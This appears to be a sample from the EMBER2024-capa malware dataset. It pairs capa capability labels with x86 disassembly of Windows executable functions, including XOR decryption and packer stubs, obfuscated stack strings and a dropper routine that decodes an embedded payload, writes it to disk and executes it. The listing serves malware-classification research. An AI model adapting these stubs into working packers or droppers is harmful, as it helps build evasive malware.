joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor esi, esi
mov esi, esi
xor ebx, eax
xor ebx, eax
xor eax, eax
mov ebx, esi
xor eax, esi
xor ebx, esi
xor esi, ebx
neg eax
and edx, 0xbf
sbb edi, 0x5f
rol ebx, 0xb8
rcl edx, 0x9d
sbb edi, 5
not esi
add esi, 0xb2
neg eax
not ebx
imul ebx
sub ebx, 0x36
inc eax
sbb esi, 0x96
ror eax, 0xf4
add esi, 0xf6
rol ebx, 0xef
imul ebx
rcl ebx, 0x2b
and edx, 0x59
bswap eax
rcr edi, 0xf9
neg esi
not eax
and ebx, 0xa5
dec eax
add edi, 0xb3
rol ebx, 0x58
sbb ebx, 0x11
bswap esi
inc esi
bswap edx
neg ebx
dec esi
or esi, 0xff
mov edi, 0xf5
neg edx
ror eax, 0xb5
mov edx, 0x2e
imul esi
and ebx, 0xd2
sub edi, 0xa7
or edx, 0xf1
ror eax, 0x7b
dec ebx
sbb esi, 0x5f
and eax, 0x7e
rol esi, 0x6b
bswap esi
rcr edi, 0xf6
xor ecx, ecx
xor edi, edi
mov esi, eax
xor eax, ebx
xor ebx, ebx
xor esi, eax
mov ebx, ebx
mov eax, ebx
inc eax
and esi, 0xcd
ror edx, 0xb3
not eax
ror edi, 0x8c
sub ebx, 0x10
dec edi
add edx, 0x5f
bswap esi
sbb edx, 0x43
dec esi
imul esi
rcr ebx, 0x77
mov esi, pe_nt_image_headers32
rcl edx, 0xd6
rol ebx, 0xf4
ror ebx, 0xaa
dec esi
rol eax, 0x21
add edi, 0xb7
rol edi, 0x33
inc eax
inc ebx
add esi, 6
sbb eax, 0x56
or eax, 0x6d
inc esi
sbb esi, 0xbb
imul esi
bswap edi
mov edx, 0xa9
inc ebx
bswap esi
bswap ebx
not edx
neg eax
dec eax
not esi
ror eax, 0x20
mov eax, 0xe8
rcr edx, 0xf2
sbb eax, 0xf7
dec edi
neg edx
and eax, 0x21
sbb edx, 0xdb
bswap edx
neg esi
or ebx, 0x56
sub esi, 0x57
xor eax, eax
mov ebx, ebx
xor esi, eax
xor esi, eax
xor eax, ebx
mov eax, esi
xor eax, eax
xor esi, eax
mov esi, ebx
mov ecx, dword [ebp + 0xc]
not edi
or edi, 0x44
bswap edx
add ebx, 0x6b
and ebx, 0xa7
dec edi
rol edi, 0xda
rcr esi, 0x96
neg ebx
imul esi
dec edx
inc ebx
rcl edx, 0xe4
rol edx, 0x7f
inc ebx
and edi, 0x6c
ror esi, 0x23
dec esi
neg eax
rol edi, 4
and eax, 0x76
rcr eax, 0x6d
mov eax, 0x47
dec eax
not edx
add ebx, 0xdf
ror esi, 0x91
ror ebx, 0x2f
not ebx
rcl edx, 0x6b
inc eax
add ebx, 0x43
dec ebx
not esi
add eax, 0x7c
not edi
imul edx
ror edi, 0x8e
dec eax
sub edx, 0xeb
not edx
rol eax, 0x53
neg eax
inc edx
mov eax, 0x72
or esi, 0xa
rol eax, 0xa1
ror edx, 0xd7
or edx, 0x33
neg esi
mov edi, dword [ebp + 8]
xor eax, eax
xor esi, ebx
mov ebx, esi
xor eax, eax
xor eax, ebx
xor eax, eax
mov ebx, esi
xor eax, ebx
xor ebx, eax
not byte [edi]
mov eax, esi
xor ebx, eax
xor esi, eax
xor eax, esi
xor ebx, esi
mov eax, esi
xor eax, eax
mov esi, eax
xor ebx, esi
mov ebx, ebx
mov esi, esi
xor esi, ebx
add byte [edi], 0x25
sub byte [edi], 0x18
xor eax, ebx
mov esi, esi
mov ebx, esi
xor eax, esi
xor esi, ebx
mov eax, esi
xor esi, ebx
mov esi, esi
mov ebx, ebx
imul byte [edi]
inc edi
loop 0x4011f0
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x402a22
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x429c5c]
jne 0x402a2c
repz ret
jmp fcn.00404725
Function at 0x405f63
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402aa3
and dword [ebp - 4], 0
cmp dword [0x42b24c], 0
mov ebx, eax
jne 0x406014
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4060c5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4060c5
push eax
call fcn.00402a31
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42b24c], eax
call esi
push eax
call fcn.00402a31
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42b250], eax
call esi
push eax
call fcn.00402a31
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42b254], eax
call esi
push eax
call fcn.00402a31
pop ecx
mov dword [0x42b25c], eax
test eax, eax
je 0x406014
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402a31
pop ecx
mov dword [0x42b258], eax
mov eax, dword [0x42b258]
cmp eax, ebx
je 0x40606c
cmp dword [0x42b25c], ebx
je 0x40606c
push eax
call fcn.00402aac
push dword [0x42b25c]
mov esi, eax
call fcn.00402aac
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40606c
test edi, edi
je 0x40606c
call esi
test eax, eax
je 0x406063
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406063
test byte [ebp - 0xc], 1
jne 0x40606c
or dword [ebp + 0x10], 0x200000
jmp 0x4060a5
mov eax, dword [0x42b250]
cmp eax, ebx
je 0x4060a5
push eax
call fcn.00402aac
pop ecx
test eax, eax
je 0x4060a5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4060a5
mov eax, dword [0x42b254]
cmp eax, ebx
je 0x4060a5
push eax
call fcn.00402aac
pop ecx
test eax, eax
je 0x4060a5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42b24c]
call fcn.00402aac
pop ecx
test eax, eax
je 0x4060c5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4060c7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x1b9a39ee
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x6cee5b1e
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0xd3262c
Capabilities:
Encode data using xor

Disassembly:
jp 0xd3263b
sbb edi, dword [bp + si + 0x3a]
invalid
jmp 0xd32636
pushal
call 0xd3263c
pop ebp
sub ebp, 0x10
add byte [ebp - 0x7f], bl
in eax, dx
adc byte [eax], al
add byte [eax], al
sub ebp, 0x93262c
jmp 0xd32652
mov eax, 0x93262c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5da
mov edx, 0x9d23483
xor byte [eax], dl
inc eax
dec ecx
jne 0xd32669
jmp 0xd3267c
or byte [esi + 8], cl
or bh, byte [edi + 0x2838383]
inc edx
jnp 0xd3260b
add dword [ebx - 0x78c4b180], 0xffffff83
add dword [ebx - 0x7c7c54c7], 0xffffff83
je 0xd326f9
add dword [ebx - 0x7c54c67d], 0xffffff83
xor dword [ecx - 0x80], 0x4b
or byte [edx], al
or byte [ebx + 8], 2
pop dword [ebx + 0x46808383]
ror dword [esi], cl
out 0xa7, eax
jg 0xd326b2
xchg dword [edi - 0x5c78b015], esp
sub ebx, 0xffffffdd
mov byte [0xaf8283f0], al
cmpsd dword [esi], dword es:[edi]
jmp 0xd3268e
lock add dword [edx - 0x2a145851], 5
ljmp 0x8383
or dword [eax], 0xf
cmpsd dword [esi], dword es:[edi]
xchg dword [ebx + 0x4feb8383], eax
xchg dword [ebx - 0x5d22147d], esp
lock add dword [edx + 0x6bd2a7af], 0xffffff86
add dword [ebx - 0x7e2b957d], 0xffffff83
or dword [esi], 0xffffffe7
cmpsd dword [esi], dword es:[edi]
jg 0xd32728
or ch, byte [edi + 0x7cded7a7]
test byte [edi + 0x6b8bf67c], 7
scasd eax, dword es:[edi]
cmpsd dword [esi], dword es:[edi]
xlatb
fidivr word [esi + esi*8 - 0x71]
jl 0xd3271d
mov ebp, dword [ebx + 7]
imul eax, dword [edi], 0xffffff83
add dword [ebx - 0x7c74c1f8], 0xffffff83
add dword [edx], 0x72
ffreep st(6)
rcl dword [ecx], cl
add dh, byte [edx - 0x21]
add dword [ebx - 0x74c1f77d], 0xffffff83
add dword [ebx - 0x39208dfe], 0xffffffd3
adc dword [edx], eax
jb 0xd3271b
invalid

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x1a0736cd
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0xb75579e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x34ad5fbf
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..reloc
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x61881fb7
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x35f71140
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..rsrc
nop
mov ebx, 0x42e1d0
mov ecx, 0xc293460
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x1e8072e7
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e003
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x156654c8
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x6dc463c0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcr90.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], 0x6dc49a3c
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcr90.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcr90.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcr90.dll_vfprintf
call sub.msvcr90.dll_abort
jmp fcn.6dc46420
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0
Function at 0x424640
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using curve25519
Encrypt data using des
Parse pe header

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
mov ebp, esp
lea ebx, [esp - 0x3e80]
xor eax, eax
push eax
cmp esp, ebx
jne 0x424658
inc esi
inc esi
push ebx
push 0x22394
push edi
jmp loc.00428000
Function at 0x401690
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
push ebx
push esi
push edi
or eax, ecx
or ecx, edi
xor eax, dword [ebp - 0x188]
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x141], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetThreadLocale]
call edi
mov al, 0x62
mov byte [ebp - 0x6f], al
mov byte [ebp - 0x66], al
mov byte [ebp - 0x65], al
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebx + 0xa]
lea eax, [ebp - 0x70]
mov byte [ebp - 0x70], 0x65
mov byte [ebp - 0x6e], 0x75
mov byte [ebp - 0x6d], 0x71
mov byte [ebp - 0x6c], 0x6b
mov byte [ebp - 0x6b], 0x6a
mov byte [ebp - 0x6a], 0x23
mov byte [ebp - 0x69], 0x22
mov byte [ebp - 0x68], 0x3e
mov byte [ebp - 0x67], 0x74
mov byte [ebp - 0x64], bl
mov byte [ebp - 4], bl
call fcn.004018f0
add esp, 4
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x60], eax
sub ebx, ebx
mov esi, ebx
call edi
mov edx, dword [ebp - 0x60]
push 0xca
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x7c], eax
and edi, esp
add ecx, dword [ebp - 0x5a]
and dword [ebp - 0x5a], eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call edi
or ebx, dword [ebp - 0x1be]
and esi, esi
push 0
call edi
push 0
call dword [ebp - 0x7c]
test eax, eax
jne 0x401758
call eax
xor dword [ebp - 0xb8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, dword [ebp - 0x75]
and esi, eax
mov eax, dword [ebp - 0x60]
push 0xa7
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
add ebx, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x40]
mov edi, 0xb
push eax
mov word [ebp - 0x40], di
mov word [ebp - 0x20], di
call sub.OLEAUT32.dll_VarDateFromUdateEx
test eax, eax
je 0x4017ae
call eax
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x40]
push eax
call esi
test eax, eax
je 0x4017c2
call eax
cmp word [ebp - 0x30], di
je 0x4017ca
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret